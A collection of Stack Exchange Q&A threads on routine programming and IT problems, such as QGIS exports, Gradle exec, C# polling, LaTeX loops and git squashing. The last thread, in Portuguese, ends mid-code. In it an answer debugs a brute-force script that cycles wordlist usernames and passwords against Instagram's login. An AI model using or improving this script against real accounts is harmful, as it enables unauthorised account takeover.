text:
Q: Saving selection as new shapefile using QGIS gives OGR error? I have an issue saving a set of polygons as a new layer that I've selected using the polygon select tool in QGIS.
After selecting the polygons in the main (source) layer, I've tried two ways:

*

*I tried Edit> copy features > paste features as new vector layer. After which I get the dialog box below. A also tried paste features as new memory vector layer - which created a layer, but there were no attributes in the table - is was empty

*I tried another way of right clicking the selected layer > save as > save as > and clicked the 'save selection only' in the 'save vector layer as...' dialog box. I got the same dialog box.

Any ideas welcome.

A: Another method which I don't think you mentioned is to first create a new polygon shapefile:
Layer > New > New Shapefile Layer...
Then select Polygon in the options and click OK. Toggle the Edit button for both the new layer and the layer you want to copy the polygons from.

Copy your polygons and paste them into the new shapefile. If there are no errors then the polygons along with their associated attributes should be copied.

A: Although I'm not sure if it's the same, I had a similar problem in QGIS a couple of months ago.  For me it was due to the polygon geometry becoming corrupt.  One of the inner rings didn't close and so QGIS recognized the geometry as invalid but didn't tell me in a way I understood.
I ended up using a Repair Geometry tool in ArcGIS which did a great job, but you might not have access to it.
I found this post from a guy who did the same thing with QGIS, Grass and GDAL.  I hope it helps...

A: I had this error when right clicking a layer and trying to save current selection with the 'Save only selected features' box.
The answer for me was to click the "Browse" button next to the "Save as" input, navigate to my project files, and then save the file. It seemed to be an issue with QGIS trying to save the file in an operating system default user location and then losing the file since my project was referencing files with relative paths.


text:
Q: What exactly does an MTA do? This question got me thinking, and I now realize that I don't know anything about the internals of MTAs.
What exactly does an MTA do? Everything after the SMTP protocol seems like dark magic to me. Let's say that I wanted to code a minimalistic MTA (or MDA) just for sending emails, what would I need to learn/do?
Edit: I don't actually plan on writing an MTA, I just want to understand how it works internally.

A: Here ya go: http://en.wikipedia.org/wiki/Message_transfer_agent
Quickly, the MTA receives the raw message, decides where it's ultimate destination is, and then forwards the message on to that destination.
A very simple MTA can be written the delivers only to local inboxes. The MTA is an "easier" part of the system to write because you can behave badly but still be functional, so your interoperability with other systems is less of an issue (that's where much of the complexities of email lie nowadays, that and spam/virus checking).
The real contract of an MTA is simply that if you accept the message from the system sending it to you, you accept responsibility to deliver that message. Thus, when that socket closes with an acknowledgement of acceptance, the delivering systems job is done and it's all in your hands.
If you happen to do a crummy job, mail is lost, and it's your problem. But it's still fun to play around with.

A: Edit: The original tutorial I linked to has gone 404.  Here's another that's ok:  https://troubleshootguru.wordpress.com/2014/07/06/mail-server-components-mta-mda-mua/
In short, a MUA is a user client that uses SMTP to send an email to an MTA.  The MTA is a server that is responsible for routing the MTA to its destination.  If that destination is another server, the MTA hands the email to an MDA.  The MDA is a client on the server that uses SMTP to forward the email to the other server, which is also an MTA.
So what do you need to learn?  If you want to write an MUA or MDA, you need to learn how to open a socket to another computer, send SMTP commands, and receive SMTP responses.  If you want to write an MTA, you need to learn how to listen for socket connections on a port, receive SMTP commands, and send SMTP responses.
If you like Java, try the code on this page as a starting point for a client.

A: --- edit after somehow noticing you talked about possibly writing a MTA ---
To write a MTA, you need to open a server socket.  When someone connects, you need to send and receive text (ascii) data on that socket in compliance with the SMTP protocol.  SMTP is very chatty, so you can expect a few rounds of communication.
The initial round of communication typically tells you whether SMTP is supported or ESMTP is supported.  The second (optional) round of communication is to determine security / encryption / feature support.  Eventually the "client" side will ask to send a message to a particular address / set of addresses.  When done, the server will indicate that it's ready to get the body of the email message.  When the body of the message (and it's optinal attachments) have all been transmitted, the MTA will tell you it received the message fine.  At that point in time, the MTA will act as a client to other MTAs discovered via DNS MX records to get your email closer to it's destination MTA which will copy it into someone's inbox.
So an MTA is needed because mail delivery on the client side is the equivalent to handing a physical letter to a post office.  Post offices are responsible for inter-postoffice routing (which parallels to MTA-to-MTA transmission).  The destination Post office is then responsible for delivery of the letter to the post office box or home address (which parallels one's computer inbox).
They don't call it e-mail for nothing.
--- original post follows ---
A MTA will accept a mail message, see if it can forward or deliver it, respond if it can be forwarded or delivered, and then forward or deliver it if it indicated it could.
How the message gets closer to it's final destination usually has a bit to do with DNS.  MX (mail exchange) records in DNS indicate servers which are responsible (or at least closer to the responsible server) for particular email domain names.  It is not possible to fully understand how a mail message gets closer to it's destination without understanding how DNS works.
A MTA typically looks at the delivery address, and either is configured to be the "end point" of the email address's mail domain, or knows that server XYZ is one hop closer to the email address's mail domain.  If it's an endpoint, it will copy the message from the wire into someone's inbox.  If it's relaying it will "forward" the message to the next MTA.

redpajama_set_name: RedPajamaStackExchange


text:
Q: How to test `int` to `size_t` conversion without warning "comparison is always true"? How to re-write code to implement the same test, but portably avoid the warning?

AFAIK, INT_MAX and SIZE_MAX are not defined to one always being >= than the other, hence the use for the following function to detect problems converting from int to size_t.
#include <assert.h>
#include <stddef.h>
#include <stdint.h>

size_t int_to_size_t(int size) {
  assert(size >= 0);

  #pragma GCC diagnostic ignored "-Wtype-limits"

  // Without the above pragma, below line of code may cause:
  // "warning: comparison is always true due to limited range of data type
  // [-Wtype-limits]"
  assert((unsigned)size <= SIZE_MAX);

  #pragma GCC diagnostic warning "-Wtype-limits"

  return (size_t) size;
}

Different compilers use various mechanisms to squelch warnings.  I looking for a portable solution.
The above soluton is not portable and this gcc method unfortunately has a side-effect: Warning -Wtype-limits, which may or may not have been enabled is now enabled after this code.  Do not know how to restore -Wtype-limits setting.
Ref:
Portability of #warning preprocessor directive
Suppress comparison always true warning for Macros?

A: You could replace this:
assert((unsigned)size <= SIZE_MAX);

by:
#if INT_MAX > SIZE_MAX
assert((unsigned)size <= SIZE_MAX);
#endif

If the #if condition is false, the assert condition is always true and the assert is unnecessary. The (unsigned) cast is (probably) necessary to avoid a warning about a comparison between signed and unsigned operands.
Warning: I have not tested this. (To fully test it, I'd need access to a system with int wider than size_t, and I've never seen such a system.)

A: As Keith states correctly, you'd only have to worry when the value of INT_MAX is greater than the one for SIZE_MAX. If you want to compare these values in the preprocessor (and you should) you can't cast to make INT_MAX an unsigned type. (The preprocessor doesn't know about casts.)
Therefore you have to add 0U to the value so both expression become uintmax_t. (For the preprocessor integer constants are intmax_t or uintmax_t).
#if (INT_MAX+0U) > SIZE_MAX
assert(size <= (int)SIZE_MAX);
#endif

Then inside this #if you know that SIZE_MAX is less that INT_MAX so you may cast it down to int without changing the value.


text:
Q: lessc exec task not executed in Gradle This is my task:
task less(group:'web',dependsOn:checkDirs) << {
    file(skinsDir).listFiles().each { dir ->
        if (dir.isDirectory() && dir.list().contains("pmc.less")) {
            def inFile = dir.toPath().resolve("pmc.less").toString()
            def outFile = "$buildDir/css/skins/${dir.name}/pmc.css"
            def minOutFile = "$buildDir/css/skins/${dir.name}/pmc.min.css"
            exec {
                workingDir dir
                commandLine "lessc",inFile,">",outFile
            }
        }
    }
}

When I run
gradle -i less

Then the commands are correctly listed in the info level output:
:flat_pmc:less
Executing task ':flat_pmc:less' (up-to-date check took 0.0 secs) due to:
  Task has not declared any outputs.
Starting process 'command 'lessc''. Working directory: /home/dys/dev/synosteel/flat_pmc/src/webapp/m3/skins/contrast Command: lessc /home/dys/dev/synosteel/flat_pmc/src/webapp/m3/skins/contrast/pmc.less > /home/dys/dev/synosteel/flat_pmc/build/css/skins/contrast/pmc.css
Successfully started process 'command 'lessc''
Starting process 'command 'lessc''. Working directory: /home/dys/dev/synosteel/flat_pmc/src/webapp/m3/skins/eggshell Command: lessc /home/dys/dev/synosteel/flat_pmc/src/webapp/m3/skins/eggshell/pmc.less > /home/dys/dev/synosteel/flat_pmc/build/css/skins/eggshell/pmc.css
Successfully started process 'command 'lessc''
Starting process 'command 'lessc''. Working directory: /home/dys/dev/synosteel/flat_pmc/src/webapp/m3/skins/sand Command: lessc /home/dys/dev/synosteel/flat_pmc/src/webapp/m3/skins/sand/pmc.less > /home/dys/dev/synosteel/flat_pmc/build/css/skins/sand/pmc.css
Successfully started process 'command 'lessc''
Starting process 'command 'lessc''. Working directory: /home/dys/dev/synosteel/flat_pmc/src/webapp/m3/skins/nebel Command: lessc /home/dys/dev/synosteel/flat_pmc/src/webapp/m3/skins/nebel/pmc.less > /home/dys/dev/synosteel/flat_pmc/build/css/skins/nebel/pmc.css
Successfully started process 'command 'lessc''
Starting process 'command 'lessc''. Working directory: /home/dys/dev/synosteel/flat_pmc/src/webapp/m3/skins/aqua Command: lessc /home/dys/dev/synosteel/flat_pmc/src/webapp/m3/skins/aqua/pmc.less > /home/dys/dev/synosteel/flat_pmc/build/css/skins/aqua/pmc.css
Successfully started process 'command 'lessc''
Starting process 'command 'lessc''. Working directory: /home/dys/dev/synosteel/flat_pmc/src/webapp/m3/skins/venezia Command: lessc /home/dys/dev/synosteel/flat_pmc/src/webapp/m3/skins/venezia/pmc.less > /home/dys/dev/synosteel/flat_pmc/build/css/skins/venezia/pmc.css
Successfully started process 'command 'lessc''
Starting process 'command 'lessc''. Working directory: /home/dys/dev/synosteel/flat_pmc/src/webapp/m3/skins/inverno Command: lessc /home/dys/dev/synosteel/flat_pmc/src/webapp/m3/skins/inverno/pmc.less > /home/dys/dev/synosteel/flat_pmc/build/css/skins/inverno/pmc.css
Successfully started process 'command 'lessc''
:flat_pmc:less (Thread[Daemon worker Thread 6,5,main]) completed. Took 1.722 secs.

By "correctly listed" I mean that if I copy lessc /home/dys/dev/synosteel/flat_pmc/src/webapp/m3/skins/venezia/pmc.less > /home/dys/dev/synosteel/flat_pmc/build/css/skins/venezia/pmc.css to run it directly in the console, the css file is created.
But execution with gradle fails to create the css file.
What happens here ?

A: commandLine is only for passing in a command name and arguments, it doesn't support the shell redirect syntax. Try this instead:
exec {
    workingDir dir
    commandLine "lessc",inFile
    standardOutput = new FileOutputStream(outFile)
}

Exec:commandLine
Exec:standardOutput
FileOutputStream


text:
Q: how to select multiple values using select2 widget in yii2 I am using select to widget in my project and 'multiple' => true
 <?php echo $form->field($model, 'task')->widget(Select2::classname(), [
                        'data' => $companiesList,
                        'options' => ['placeholder' => 'Select company type ...',],
                        'pluginOptions' => ['allowClear' => true,'multiple' => true,],
                    ]);?>

but when I select multiple values it gives error

how to select multiple values using select2??

A: in your model change your rules add line :
public function rules()
    {
        return [
....
    ['task','safe']
....
               ]
    }

and remove the task from 'string' line  rules!
in next step you have to store this ids in a many-to-many table or store that link string-delimter in single column  .
add this in your controller :
public function actionCreate()
    {

....
 if ($model->load(Yii::$app->request->post()))  {
....
$task_string = "";
foreach($model->task as $singl_task){
  $task_string.= $singl_task."-";
}
$model->task = $task_string;


text:
Q: My Program stops after 2nd intent in android My android application stops after startActivity () call of my 2nd intent. It works perfectly for the first time with intents. But on the 2nd time its control doesn't pass to 3rd activity. I haven't displayed anything on 2nd activity. Is it the problem? Or is something with my AndroidManifest.xml file?
Can some one help me?
I have added the intent filter of three activities as shown below.Is it the problem? I am new to android so please help me!
 <intent-filter>
     <action android:name="android.intent.action.MAIN" />
     <category android:name="android.intent.category.LAUNCHER" />
 </intent-filter>

A: For any activity that isn't the main one use the following:
<category android:name="android.intent.category.DEFAULT" />

Only the original activity should have the following:
 <category android:name="android.intent.category.LAUNCHER" />


text:
Q: Avoiding trigering foreign key constraint when dropdown is not selected I have a select dropdown using laravel form helper like so:
{!! Form::label('job_id', 'Job Titlle', ['class' => ' control-label']) !!}
{!! Form::select('job_id', $jobs, null, ['class' => 'form-control', 'placeholder' => 'Select']) !!}

The problem is this causes a foreign key constraint when I try to update the model
           . I think an empty string is passed and I don't lnow how to stop that from happening.
please help Thanks!

A: 1) Validate the data before sending it off to the database; something like this in your controller will do the trick:
class JobController extends Controller
{
    public function store(Request $request)
    {

        $this->validate($request, [
             'job_id' => 'required'
        ]);

        // Store in the database because data is valid
    }
}

2) If job_id is not really required, you can avoid the foreign key contraint failure by specifying the column as nullable

A: In Database table make column null
ALTER mytable MODIFY mycolumn varchar(255) null;

A: This did the trick for me.
if(isset($request['fk_id']) && empty($request['fk_id'])) {
            $request['fk_id'] = null;
        }


text:
Q: Endless redirect with basic auth in sub-folder and all requests rewritten to index I have a site running on Apache that has all requested rewritten to index.php, except for requests to /login/*. The login directory is protected by basic auth and an .htpasswd file.
My root .htaccess file looks like this:
RewriteEngine On
RewriteCond %{REQUEST_URI} !^/login/.*$
RewriteRule ^ index.php [QSA,L]

And the .htaccess file in /login/ looks like this:
AuthName "Please enter your username and password."
AuthType Basic
AuthUserFile /path/to/.htpasswd
Require valid-user

When I attempt to goto the /login/ directory I get an endless loop of redirects to /login/. If I remove the all three rewrite lines in the root .htaccess I finally get a basic auth prompt in /login/.
What do I need to do to prevent the endless redirect?


text: Q: Router unable to obtain IP I own a d-link router model DSL-2877AL.. used to work flawlessly in the past 8 months but recently the routers internet light will always stay red which indicates a failed PPPoe negotiation.. VDSL2 syncs without a problem at 70mbps down 5mbps up but the router is unable to communicate with the ISP to obtain a a wan IP..I tried to call my ISP they told me it's a router problem..I called D-Link they told me it's an ISP problem..but I think the problem might be with the router itself..I checked the logs and I noticed an error "unrecognized option nas8_2" ..I figured that the router is trying to communicate over a non existent interface..can anyone help me and tell me how to create a PTM interface using the SSH CLI? I tried using the 2684ctl command but it only creates an ATM interface.. VDSL2 can't communicate over an ATM interface..I need to create a PTM one manually..any help would appreciated


text:
Q: Return value after timer finishes I have a simple application that connects to API, scans a file and checks its status. Scanning can take a period of time, and I want to 'ask' api every 5 seconds about the file status, and, if it's clean - return true, if other - return false.
The problem is that I don't know how to tell the program to wait until the condition have been met before returning value. My code looks something like this:
bool Scan(string filePath){
    Scanner.Scan(filePath);
    //now repeat line below every 2s until the result is positive
    var result = Scanner.CheckStatus();
    // I dont want to go below before status is positive or x seconds has elapsed
    return result
}

A: Threads
Below example will put down to sleep Your thread. This means You are unable to do anything else during that time, if Your application is single threated.
Code that sleep the thread is:
System.Threading.Thread.Sleep(1000); //time in ms, 1 sec

Comment by @EpicSam: This will make your program unresponsive during the sleep. In case you have some sort of user interface that needs to be responsive, consider using line below instead:
await Task.Delay(5000);

In example, it should looks like:
bool Scan(string filePath){
    Scanner.Scan(filePath);
    var result = Scanner.CheckStatus();
    while(result != ResultType.Positive)
    {
        System.Threading.Thread.Sleep(5000); //time in ms
        result = Scanner.CheckStatus();
    }
    return result
}

Simplified:
bool Scan(string filePath){
    Scanner.Scan(filePath);
    ResultType result;

    while((result = Scanner.CheckStatus()) != ResultType.Positive)
        System.Threading.Thread.Sleep(5000); //time in ms

    return result
}

Timers & events
Another way to handle the case is use Timers and Evenets. You will set up timer, it will do the work each time You want. Once it find the result is done, it will send message to You. This is the correct way, however putting Thread to Sleep also works.
Check Comparing Timer with DispatcherTimer to choose which Timer to use.

*

*Please note that the code below make different results then for Threads -> it does run the whole Scan method in loop. Which includes running the Scanner.Scan() method
-
using System.Timers;

public class MyClass
{
    Timer mTimer;
    string mFilePath;

    public delegate void StatusCheck(bool value);
    public event StatusCheck StatusChecked;

    MyClass(string filePath)
    {
        mFilePath = filePath;

        mTimer = new Timer(); //time in ms
        mTimer.Elapsed += new ElapsedEventHandler(Scan);
    }

    public void Start()
    { mTimer.Enabled=true; }

    private void Scan(object source, ElapsedEventArgs e)
    {
        Scanner.Scan(filePath);
        ResultType result;
        if(result = Scanner.CheckStatus())
        {
            this.StatusChecked?.Invoke(result);
        }
    }

}

Usage will look like:
//some code ...
MyClass checker = new MyClass("C:\a.txt");
checker.StatusChecked += new StatusCheck(myVoid);
checker.Start();

//some more code ..

private void myVoid(bool result)
{
    Console.WriteLine("My result is: " + result );
}

A: async/await approach looks clear enough. You can use async/await even you didn't have UI.
async Task<bool> Scan(string filePath)
{
    Scanner.Scan(filePath);
    var result = Scanner.CheckStatus();

    while(result == false)
    {
        await Task.Delay(2000);
        result = Scanner.CheckStatus();
    }

    return result
}

Because your Scanner.Scan method working with IO - it become very good candidate for asynchronous method which uses async/await.

A: bool Scan(string filePath)
{
    var timeout = new TimeSpan(0,0,5);
    Scanner.Scan(filePath);
    Stopwatch stopwatch = Stopwatch.StartNew();

    do
    {
        result = Scanner.CheckStatus();
        if(result) return true;

        System.Threading.Thread.Sleep(2000);

    } while(stopwatch.Elapsed < timeout)

    return false;
}

note it is a simple but naive implementation as it does not prevent the CheckStatus() call itself to exceed the 5 seconds timeout.


text:
Q: How to use .net delegate in vba I have a .net DLL written in C# which exposes some delegates. Now, they are visible in VBA Object Explorer and appear as a 'Class'. But how can I instantiate it and make it point to a VBA function with the same signature and the pass it back to a C# function which takes that delegate as an argument?
I should be able to do that, right!? My DLL is registered for COM interop, is there any COM attributes that must decorate the delegates or what?
Thanks, Andrei!

A: Use late binding, you won't be able to use the VBA IntelliSense to program, call the functions with the right parameter:
For example:
Instantiate you class
Private obj As Object
Set obj = CreateObject("NAMESPACE.CLASS")

and use the methods from your class
obj.METHOD(a,b,c)

If you need to register you DDL programmaticaly, you can use
Shell "c:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe c:\MYDLL.dll /codebase"


text:
Q: File to import not found or unreadable: bourbon gem "bootstrap-sass", '~> 3.3.6'
gem 'sass-rails', '~> 5.0.6'
gem "compass-rails", "~> 3.0.2"
gem "bourbon"
#when I run gem list
bourbon (5.0.0.beta.7, 5.0.0.beta.6, 4.3.4)
#when I run bundle show
 * bourbon (5.0.0.beta.7)
this is my web page error,but  I have installed bourbon


text:
Q: How to manage "Kendo react drop-down list item (k-item)" width for short and long text content? This is regarding to KendoReact Dropdowns
https://www.telerik.com/kendo-react-ui/components/dropdowns/

How to increase "k-item" width to match the content width and also,
stop text wrapping when it's comes to long text content? Also how to
keep "k-item" width as "drop-down list (k-list)" width when it's come
to short text content at the same time?

I have two dropdowns with long list items and short list items, but What it looks like when it added to my project.

So I have added "width:auto" for the "k-list" popup setting and this was happend.

But what I need is like this.

I need your help to make it looks like the above image.

A: There is a popupSettings property on the dropdowns. If you don't touch it, the items will match the width of the box. If you want the items to be longer or shorter than the box, you can set a width. Here's an example: popupSettings={{ width: "250px" }}

A: Almost 3 years later and I have just faced exactly the same issue as in this question LOL. Here is how I solved it:

*

*In index.html, add a div like the following under the body element. This will be the container of the DropDownLists' popup:

*Add the following attributes to the DropDownList component.

*onDropDownOpen function goes as follows:

A few notes here:

*

*event.target.base.popupWidth will carry the width of the dropdown trigger element at the moment it is opened.

*That is then set as the minWidth of the popup so it will never shrink down below the width of the dropdown's trigger element

*Finally I set the width of the popup as 'auto' so it grows for wider dropdown options.

*setTimeout was necessary because it needs to wait until dropdown list elements are inserted under the popup container, since we don't have an "onOpened" event.

*Never set the width in the DropDownList's popupSettings or the solution above will not work!


text:
Q: Infinite loop on a non-macro token The following document infinite-loops:
\documentclass{article}
\usepackage{breqn}
\begin{document}

\newcommand{\allowbreaks}[2][,]{\begingroup
  \catcode`#1=\active
  \scantokens{%
    \edef#1{%
      \show\detokenize{#1}%
      \detokenize{#1}%
      \noexpand\allowbreak
    \show0%
    }%
    #2%
  }
\endgroup}

\allowbreaks{$,$}

\end{document}

LaTeX displays
> the character ,.
,->\show ,
          ,\allowbreak \show 0
l.113 \allowbreaks{$,$}

?

repeatedly.
If I type I\show into it's prompt, it gives me
> the character ,.
,->\show ,,
           \allowbreak \show 0
l.113 \allowbreaks{$,$}

That is, the token that it's expanding it a character, not a macro.  How is this possible?
If I comment out the breqn line, it works fine.  I'm using
pdfTeX, Version 3.1415926-1.40.10 (TeX Live 2009/Debian).

A: When you say \detokenize{,}, the comma becomes a character of category code 12, so \show, will show the meaning of this character.
The \edef will define the active comma to expand to
\show,,\allowbreak\show0

where the two commas have category code 12.
But when breqn is loaded, the comma has mathcode "8000 and you are in math mode! So TeX follows its rules: after having shown the meaning of the comma it finds another comma and, having it category code 12 and mathcode "8000, TeX replaces it with the meaning it currently has as an active character. That is, to show the comma and to use a comma, which has category code 12 and mathcode "8000 …
Oops, infinite loop. :-)


text:
Q: Book about a girl who cannot touch people The book was about a girl or perhaps princess who could not either touch people or be touched. Then later she meets a boy and they fall in love then accidentally end up touching but nothing ends up happening. It was set sometime in the past I believe royal-esque times. It is not Shatter Me.

A: Among this fairly common trope, a partial match is The Sin Eater's Daughter (2015) by Melinda Salisbury.
From Goodreads:

Sixteen-year-old Twylla lives in the castle. But although she's engaged to the prince, no one speaks to her. No one even looks at her. Because Twylla isn't a member of the court. She's the executioner. As the goddess-embodied, Twylla kills with a single touch. So each week, she's taken to the prison and forced to lay her hands on those accused of treason. No one will ever love her. Who could care for a girl with murder in her veins? Even the prince, whose royal blood supposedly makes him immune to her touch, avoids her.
But then a new guard arrives, a boy whose playful smile belies his deadly swordsmanship. And unlike the others, he's able to look past Twylla's executioner robes and see the girl, not the goddess. Yet a treasonous romance is the least of Twylla's problems. The queen has a plan to destroy her enemies-a plan that requires an unthinkable sacrifice. Will Twylla do what it takes to protect her kingdom? Or will she abandon her duty in favor of a doomed love?

What matches:

*

*Medieval times

*The girl is not a princess, but is betrothed to the prince

*She falls in love with a boy she doesn't harm, as per this review:

Lief kisses Twylla to prove that she can touch people without killing them. Seems a bit drastic. He then asks her to marry him and suggests they run away together.

Not a match:

*

*The girl discovering her touch doesn't affect the guard does not seem to be an incident.

Found with the Google query fantasy book girl can't touch people site:goodreads.com, deep down the sixth page of results.


text:
Q: date filter on shared calendar does not return all results I am running the following query:
https://graph.microsoft.com/v1.0/me/calendars('sharedcalendarid')/events?$filter=start/dateTime ge '2018-10-14T06:00:00.000Z' and end/dateTime le '2018-10-21T05:59:59.999Z'&$orderby=Start/DateTime&$top=50&$count=true
What I'm seeing is that this query returns only 24 results, even though there are at least double that number of events in the week when I look at my calendar (which only has events from this one shared calendar on it).
Is there a bug with filtering events from a shared calendar? I've compared an event that doesn't show up with one that does and can't find any differences (tentative vs not, recurring versus not, etc.).


text:
Q: AWS API Gateway Authorizer using Cognito Identity Pool The test enviornment for the API Gateway..... Cognito Authorizer.
What value is it expecting ?
I tried to use accessKeyId returned from CognitoIdentityCredentials and it did not work.
Identity Flow
'Testing the accessKeyId gives Error
I also tried _identityId and that did not work as well.
The error for both is "Unauthorized request"

A: I think your API endpoints are protected by AWS_IAM authorization method. you can confirm it from the Method Execution section of your API endpoint.
If you are using AWS_IAM method, the api end points excepts a signature to be generated using your aws credentials and pass it in the request under the Authorization header.
You can use postman app to test the endpoint, follow these steps

*

*create a new request with the correct http method and the url

*under Authroization tab, select AWS Signature

*Enter the values for AccessKey, Secret Key

*under the Advanced section, enter your region and Session Token
Postman application is very handy to test rest api endpoints. it's even handy to test the api gateway endpoints protected by AWS_IAM authorization method. The postman app generates the signatures required using your AWS credentials and include the generated signature part of http headers of the request.
Note: Also make sure your identity pool's Authenticated role has permission to invoke the api endpoint.
Reference:
https://docs.aws.amazon.com/apigateway/latest/developerguide/how-to-use-postman-to-call-api.html
you can download postman application if you dont have - https://www.getpostman.com/downloads/


text:
Q: Why does opening up another file with Tkinter cause another Tkinter menu to pop up? In my game, I wanted to have a launcher with some settings on it. These include volume, resolutions, battle speed, etc. When the player is done setting up, they can press the start game button to run the python file that is...well the game.
This is what the configuration menu looks like:

However, after pressing start game, instead of running the game's script, FECD.py, it opens up a blank pygame window and another tkinter menu with a few less options and a default font:

Pressing Start game on the second menu now brings up a syntax error:
return self.func(*args)
  File "C:\Users\Kayra Yorulmaz\Desktop\Resume Builders (1)\Time-Based-Strategy-Game-master\Configuration.py", line 95, in OpenServer
    exec(open("FECD.py").read())
  File "<string>", line 46, in <module>
TypeError: argument 1 must be 2-item sequence, not IntVar

Here's the code for the configuration menu:
import tkinter as tk
import tkinter.font as  tkFont
from tkinter import OptionMenu, Scale, HORIZONTAL, colorchooser, Button, BooleanVar, Checkbutton
window = tk.Tk()
window.title("FECD Setup")
window.geometry("320x580")
window.resizable(True, True)
ConfigFont = tkFont.Font(family="Ancient Modern Tales", size=15)

# Settings Label
Settings_lbl = tk.Label(text="Settings", fg="black", font=ConfigFont, compound="center")
Settings_lbl.pack(anchor=tk.CENTER)

v = tk.IntVar()

#Resolution Label
Resolutions_lbl = tk.Label(text="Resolutions", fg="black", width=15, height=1, font=ConfigFont)
Resolutions_lbl.pack(anchor=tk.W)

#Resolution Dropdown
Resolution = tk.IntVar()
Resolution.set((848, 480))
Resolutions_Drpdwn = OptionMenu(window, Resolution, (848, 480), (1280,720), (1920,1080), (2560,1440), (3840,2160))
Resolutions_Drpdwn.pack(anchor=tk.W)

#FullScreen Checkbox
FullScreen_state = BooleanVar()
FullScreen_state.set(True) #set check state
chk = Checkbutton(window, text='Choose', var=FullScreen_state)

#Volume Label
Volume_lbl = tk.Label(text="Volume", fg="black", width=15, height=1, font=ConfigFont)
Volume_lbl.pack(anchor=tk.W)

#Background Music Volume Label
BGMVolume_lbl = tk.Label(text="Background Music Volume", fg="black", width=25, height=1, font=ConfigFont)
BGMVolume_lbl.pack(anchor=tk.W)

#Background Music Volume Slider
BGMVol_Slider = Scale(window, from_=0, to=100, orient=HORIZONTAL, font=ConfigFont)
BGMVol_Slider.set(50)
BGMVol_Slider.pack(anchor=tk.W)

BGVolume = BGMVol_Slider.get()/10

#Sound Effects Volume Label
SFXVolume_lbl = tk.Label(text="Sound Effects Volume", fg="black", width=25, height=1, font=ConfigFont)
SFXVolume_lbl.pack(anchor=tk.W)

#Sound Effects Volume Slider
SFXVol_Slider = Scale(window, from_=0, to=100, orient=HORIZONTAL, font=ConfigFont)
SFXVol_Slider.set(50)
SFXVol_Slider.pack(anchor=tk.W)

Sound_Output = tk.IntVar()
Sound_Output.set(2)

#Mono Sound Radiobutton
Mono_Sound_Rb = tk.Radiobutton(window, text="Mono", fg="black", padx=20, variable=Sound_Output, value=1, font=ConfigFont)
Mono_Sound_Rb.pack(anchor=tk.W)

#Stereo Sound Radiobutton
Stereo_Sound_Rb = tk.Radiobutton(window, text="Stereo", fg="black", padx=20, variable=v, value=2, font=ConfigFont)
Stereo_Sound_Rb.pack(anchor=tk.W)

#Gameplay Settings Label
Gameplay_Settings_lbl = tk.Label(text="Gameplay Options", fg="black", width=15, height=1, font=ConfigFont)
Gameplay_Settings_lbl.pack(anchor=tk.W)

#Color Settings Label
Color_Settings_lbl = tk.Label(text="Menu Box Color", fg="black", width=20, height=1, font=ConfigFont)
Color_Settings_lbl.pack(anchor=tk.W)

#Color Chooser Button
def choose_color():
    clr = colorchooser.askcolor(title="Select Color")
    print(clr)
Color_Chooser_btn = Button(window, command=choose_color, text="choose color", borderwidth=1, font=ConfigFont)
Color_Chooser_btn.pack(anchor=tk.W)

#Battle Speed Label
Battle_Speed_lbl = tk.Label(text="Battle Speed", fg="black", width=20, height=1, font=ConfigFont)
Battle_Speed_lbl.pack(anchor=tk.W)

#Battle Speed Volume Slider
Battle_SPD_Slider = Scale(window, from_=0, to=200, orient=HORIZONTAL, font=ConfigFont)
Battle_SPD_Slider.set(100)
Battle_SPD_Slider.pack(anchor=tk.W)

BattleSpeed = Battle_SPD_Slider.get()/200

#Game Start Button
def OpenServer():
    exec(open("FECD.py").read())

Game_Start_btn = Button(window, text="Start Game", command=OpenServer, borderwidth=2, relief=tk.GROOVE, font=ConfigFont)
Game_Start_btn.pack(anchor=tk.W)

window.mainloop()


text:
Q: How do I preserve the time of a commit that is to be squashed into another? I work in a branch 'develop', and when ready to merge with master, use interactive rebase to squash all my little commits into one feature-encompassing commit which I gets applied on top of master.
Works well, only issue I have is the time the commit is labelled is of the first small commit. It makes sense as that is the only commit that is 'picked', the rest are 'squashed'. Anyone know how to have the lumping commit be labeled with the time of the last small commit rather than the first? It may be possible to do so by 'editing' the earliest commit and squashing the later commits into this commit (which I presumably can edit the time property) however is there a better way?

A: If you can not just rearrange the commits to pick the one with your desired date (e.g. because the last commit will not apply cleanly atop the parent of the first commit), then you might try the following method.
If you have squashed together your develop commits into a single commit on develop, then you can use git show and the reflog of develop to extract the date of the original final commit (prior to squashing) and then amend the date of your new commit with git commit --date=.
git commit --amend -C HEAD --date="$(git show --pretty=format:%ad develop@{1})"

This amends (--amend) the HEAD commit so that

*

*it has the commit message and date from HEAD,
(-C HEAD; using this avoids starting an editor for the commit message just to immediately quit it without making any changes; leave this part off if you actually want to edit the commit message as well as changing the date)

*its date is
(--date=)

*

*the same date as most recent prior tip of develop
("$(git show --pretty=format:%ad develop@{1})").

If develop@{1} does not have the date you want, then you can use git log -g develop to find a commit that has the date you want.

A: Reorder the commits so the one that has the timestamp you want to preserve is the one that is picked, and then squash everything else into that one.


text:
Q: O python só lê a última palavra da minha wordlist Estou começando no python e peguei um script educativo de bruteforce. Porém, quando o script lê as senhas e usuários da wordlist, ele pega apenas o último registro e ignora todos os outros. Como fazer ele ler todas as linhas?
import requests

url='https://www.instagram.com'

file_pass = open('file_pass.txt')
file_user = open('file_user.txt')

try:
    for users in file_user.readlines():
        for passw in file_pass.readlines():
            payload = {'username': users, 'password': passw}
            requisicao = requests.post(url, data=payload)
        if 'Sua senha está incorreta. Confira-a.' in requisicao.text:
            print('User: {}  Pass: {} > Inválido'.format(users, passw))
        else:
            print('User: {}  Pass: {} > Válido'.format(users, passw))
except KeyboardInterrupt:
    print("Varredura encerrada!")

A: Você está cometendo três erros no seu código:
1) Você precisa voltar o cursor do arquivo de senhas para o começo:
file_pass.seek(0)

2) Para cada linha lida, o caracter de quebra de linha precisa ser removido do final da string;
 payload = {'username': users.strip(), 'password': passw.strip()}

3) Seu bloco if não está indentado corretamente.
Veja a solução comentada:
import requests

url='https://www.instagram.com'

# Abre arquivos
file_pass = open('file_pass.txt')
file_user = open('file_user.txt')

try:
    # Para cada usuario....
    for users in file_user.readlines():

        # Retorna cursor para o inicio do arquivo de senhas
        file_pass.seek(0)

        # Para cada senha...
        for passw in file_pass.readlines():

            # Monta payload removendo quebra de linha
            payload = {'username': users.strip(), 'password': passw.strip()}

            # Requisicao HTTP
            requisicao = requests.post(url, data=payload)

            # Verifica conteudo da resposta
            if 'Sua senha está incorreta. Confira-a.' in requisicao.text:
                print('{} --> Inválido'.format(payload))
            else:
